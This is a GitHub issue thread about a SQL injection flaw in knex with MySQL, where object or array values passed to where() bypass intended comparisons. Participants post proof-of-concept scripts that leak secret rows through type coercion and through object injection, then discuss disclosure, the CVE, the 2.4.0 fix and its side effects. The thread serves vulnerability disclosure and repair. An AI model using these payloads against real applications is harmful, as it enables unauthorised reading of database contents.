New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
knex where is not escaping field objects with mysql engine (potential SQL injection?) #1227
Comments
I'm not seeing this in the SQL. v0.10.0.0 of knex is what I'm using
This yields the correct SQL:
Also tried values that should have escapes and everything was escaped correctly. |
Yeah they yield correct SQL. They also yield correct SQL inside the error that I'm getting:
If I copy-pasta the SQL from the error into an actual mysql console it works. If I toString the query, it generates a valid output:
Yet when I attempt to execute it, it STILL throws with |
This might be related to #1269 |
Friendly ping reminding that this issue isn't fixed in the latest version (2.3.0) even though #1269 has been merged. Probably worth investigating what's going on, happy to provide a different demonstration of why this results in a SQLi. |
Here is a simple proof of concept. An attacker controlled variable ends up reading a database row. // If you don't have a mysql server running, you can use:
// docker run --name poc-mariadb --env MARIADB_USER=poc --env MARIADB_PASSWORD=secret --env MARIADB_ROOT_PASSWORD=secret -v `pwd`/data/:/var/lib/mysql -p 3306:3306 mariadb:latest
const knexConfig = {
"client": "mysql",
"connection": {
"host": "127.0.0.1",
"port": "3306",
"user": "root",
"password": "secret",
"charset": "utf8mb4"
}
}
let knex = require('knex')(knexConfig);
const attackerControlled = [0];
async function go() {
await knex.raw('DROP DATABASE IF EXISTS poc;');
await knex.raw('CREATE DATABASE poc;');
knexConfig.connection.database = "poc";
knex = require('knex')(knexConfig);
await knex.schema.createTable('poc', function(table) {
table.increments('id').primary();
table.string('x').notNullable();
});
// assume the database has a secret row
await knex('poc').insert({
x: "something secret",
});
// userControlled leaks the secret row
const data = await knex('poc')
.select()
.where({ x: attackerControlled })
console.log(data);
}
go().then(() => process.exit()); |
Exploit> ```js > // If you don't have a mysql server running, you can use: > // docker run --name poc-mariadb --env MARIADB_USER=poc --env MARIADB_PASSWORD=secret --env MARIADB_ROOT_PASSWORD=secret -v `pwd`/data/:/var/lib/mysql -p 3306:3306 mariadb:latest > > const knexConfig = { > "client": "mysql", > "connection": { > "host": "127.0.0.1", > "port": "3306", > "user": "root", > "password": "secret", > "charset": "utf8mb4" > } > } > let knex = require('knex')(knexConfig); > > const attackerControlled = [0]; > > async function go() { > await knex.raw('DROP DATABASE IF EXISTS poc;'); > await knex.raw('CREATE DATABASE poc;'); > knexConfig.connection.database = "poc"; > knex = require('knex')(knexConfig); > > await knex.schema.createTable('poc', function(table) { > table.increments('id').primary(); > table.string('x').notNullable(); > }); > > // assume the database has a secret row > await knex('poc').insert({ > x: "something secret", > }); > > // userControlled leaks the secret row > const data = await knex('poc') > .select() > .where({ x: attackerControlled }) > console.log(data); > } > go().then(() => process.exit()); > ```I modified this to use an select * from `poc` where `x` = 0 I ran that query in a mariadb shell and that query also returned the secret row. Interestingly, that same query does not return any row in sqlite3. It seems that the solution to this issue may be to have knex call |
An alternative PoC is to use an object to query using a different column instead of the intended one. const knex = require('knex')({
client: 'mysql2',
connection: {
host: '127.0.0.1',
user: 'root',
password: 'supersecurepassword',
database: 'poc',
charset: 'utf8'
}
})
knex.schema.hasTable('users').then((exists) => {
if (!exists) {
knex.schema.createTable('users', (table) => {
table.increments('id').primary()
table.string('name').notNullable()
table.string('secret').notNullable()
}).then()
knex('users').insert({
name: "admin",
secret: "you should not be able to return this!"
}).then()
knex('users').insert({
name: "guest",
secret: "hello world"
}).then()
}
})
attackerControlled = {
"name": "admin"
}
knex('users')
.select()
.where({secret: attackerControlled})
.then((userSecret) => console.log(userSecret)) The built SQL query is as follows select * from `users` where `secret` = `name` = 'admin' MySQL will ignore the WHERE clause resulting in the following equivalent query select * from `users` A syntax error is returned if there weren't quoted identifiers in the query. However, the quoted identifiers are needed so that wouldn't be a solution. I am just about to release an article about this issue since it impacts a lot of other packages. The issue isn't just with A simple solution would be to reject all object and array type variables for column names and values for querying. Personally I don't see a good reason for allowing column names and values to be allowed as an array or object. |
FYI @kibertoad & @OlivierCavadenti (you seem to be the most active maintainers). |
Since there hasn't been any movement on this, I went ahead and requested CVE-2016-20018. Full credit to the people in this issue. |
Augh, why would you request a CVE like that? :-/ |
I should clarify that this wasn't a decision made lightly. I had a vendor's private research team validate this. I then attempted to contact the maintainer myself, and even reached out to the GitHub security team who themselves attempted to contact them; neither of us have heard back after a few weeks. @Ccamm released an excellent and in-depth article explaining this vulnerability. It's a great read (and I look forward to their future articles), but unfortunately means that the cat is fully out of the bag at this point. |
The article for reference: https://www.ghostccamm.com/blog/knex_sqli/ |
Unfortunately, I do not currently have time for a quick fix; I can look into this in January; or review any fixes that community might provide. |
@rgmz I didn't receive any communication from your side via email or twitter, could you please confirm which communication channel did you use? I did have a brief exchange with @alokmenghrajani on this topic, however. |
Having a CVE isn't bad per se: many libraries build on top of knex. Being able to automatically update recursive dependencies once a fix is out will benefit everyone! The important thing right now is to get a fix out. @kibertoad: what do you think of the earlier suggestion:
|
hey I made a pr to mitigate the issue, could you pls check? #5417 @kibertoad |
@antoniopuero I will check the pr as soon as possible. Could be nice to release a version after that |
Thank you |
any news? |
There's more info in the PR above (5417), but as of now it looks like a release will go out tomorrow. |
Fix was released in 2.4.0, please validate. |
Confirming the vuln looks fixed from my point of view in 2.4.0. IMHO, this issue as well as #5420 can now be closed. Thanks everyone! |
What else is required to close this issue? |
The raw function has the same issue. knex.raw('select * from users where id = ?', [{ hello: 1 }]); error
|
let knex = require('knex')({
client: 'mysql',
connection: {
host: '127.0.0.1',
user: 'root',
password: 'none',
database: 'none',
stringifyObjects: true, // set to true can fix this issue
}
}); The problem caused by https://github.com/mysqljs/sqlstring/blob/master/lib/SqlString.js#L34 |
|
Yes. But, It seems to be a problem with mysql. For example, there is a test table.
Executing the following statement will get the rows unexpected. knex.raw('select * from test where stringfield = ?', [0]); // or [[0]]
knex('test').where({ stringfield: 0 }); The results are
This is caused by implicit type conversion of MySQL. Refer to https://dev.mysql.com/doc/refman/8.0/en/type-conversion.html
Etc.
Therefore, strict parameter type checking is required to avoid being attacked. |
What is the proper way to do a knex(table).whereRaw(`${additionalHardToExplainCheck} AND id in (?)`, [ids /* this is an array of numbers */]) This used to work, but the mitigation added in 2.4.0 now fails. |
I just tested real quick and at least in the scenario I pointed out above, knex was indeed escaping properly. select * from table where and field IN ('99) OR (1 = 1') So it really sounds like the mitigation was too aggressive and prevented legitimate ways of using whereRaw. On top of that, the typings for the bindings clearly show that at least some forms of object/arrays are legit Lines 2068 to 2076 in 0d27bcb
Lines 494 to 506 in 0d27bcb
So why were the typings not updated as well? |
To top it up, I now have a scenario I have no idea how to avoid passing an Array in the bindings query.whereRaw(`??->"$.someId" IN (?)`, [column, listOfIds]); I feel the check should at least allow Array of primitives and not block on any and all arrays |
Why this issue still open? @kibertoad @OlivierCavadenti |
@SwamixD Because that assertion is a work around the problem and it is too aggressive causing legitimate use cases to error out |
Okay @Cellule, hope it will gets fixed soon. |
Last night we noticed this issue, is there any solution? For now validating the input as string would protect but knex should have a solution and treat as string |
…n install (#946) fix(mojaloop/#3152): initial open settlementWindow is failing on clean install - mojaloop/project#3152 - updated seeds/settlementWindow2Open.js to - handle an array being returned from the knex.insert operation - to throw unexpected errors to force the migration scripts to hard fail, so we don't have a soft failure in future that requires deep "investigation" to find something that should be easily noticed - fixed unit tests, improved descriptions and code-coverage This issue was introduced in [Knex v2.4.0](https://github.com/knex/knex/releases/tag/2.4.0) with the following change: - MySQL: Add assertion for basic where clause not to be object or array - [knex/issues/#1227](knex/knex#1227) - knex/knex#1227 chore: updated dependencies and fixed unit tests - updated dependencies - ~fixed api changes on Glob dependency~ (reverted due to a license issue with v9.x) - Glob dependency added to upgrade exception list due to v9.x introducing a dependency Package "path-scurry@1.6.1" licensed under "BlueOak-1.0.0" which is not permitted by the Mojaloop License Policy
So still no fixed at all ? (I also see #5500) |
From my perspective, the assertion added here is too aggressive knex/lib/dialects/mysql/query/mysql-querycompiler.js Lines 166 to 183 in 2ad7719
The goal was to block complex input like Array of objects or object with properties with object So we should change the assertion to block these in particular, or at least allow valid slightly-less complicated input that match these types Lines 494 to 506 in 0d27bcb
In particular, the assertion should accept Array of primitives and Object with primitive properties Could replace const isInvalidValue = (value) => {
if (isPlainObject(value)) {
// Make sure all the properties are primitives
// object escaping uses JSON.stringify so we must list properties exactly the same way and make sure `toJSON` method is valid/expected
// https://github.com/knex/knex/blob/2ad77199233fd775e710055bd333b655ca1bc92c/lib/util/string.js#L56-L62
// https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify
// Object.values uses same algorithm to list properties in an object as JSON.stringify as explained in ^MDN article
return !Object.values(value).every(
(property) =>
isString(property) ||
isNumber(property) ||
isBoolean(property) ||
isNull(property) ||
// What if Date.prototype.toJSON is overridden?
// That could be a concern in a lot of other scenarios too, unclear if it's a risk
(isDate(property) && property.toJSON === Date.prototype.toJSON)
);
}
if (Array.isArray(value)) {
// Make sure all the items are primitives
return !value.every(
(item) =>
isString(item) ||
isNumber(item) ||
isBoolean(item) ||
// What if Date.prototype.toJSON is overridden?
// That could be a concern in a lot of other scenarios too, unclear if it's a risk
(isDate(item) && item.toJSON === Date.prototype.toJSON)
);
}
return false;
}; |
As for the CVE itself, I'm not entirely sure, the assertion seems to catch a lot of cases. |
Any updates ? It's been 2 months now and this problem is preventing me from updating to ^2.4 because it still crashes on perfectly legitimate calls |
Are you using mysql @Cellule? |
Yes |
This is a really weird bug but if you do:
It will crash with
Unknown column 'hello' in 'where clause']
which is an EXTREMELY scary message to see considering the almost potential(?) possibility of doing SQL injection or something.This only happens though when using the
mysql
client, tested withpg
and it worked as it should, giving empty result.Here's a working gist reproducing the problem: https://gist.github.com/TheThing/00be586e2d71e7b9a4b8
The text was updated successfully, but these errors were encountered: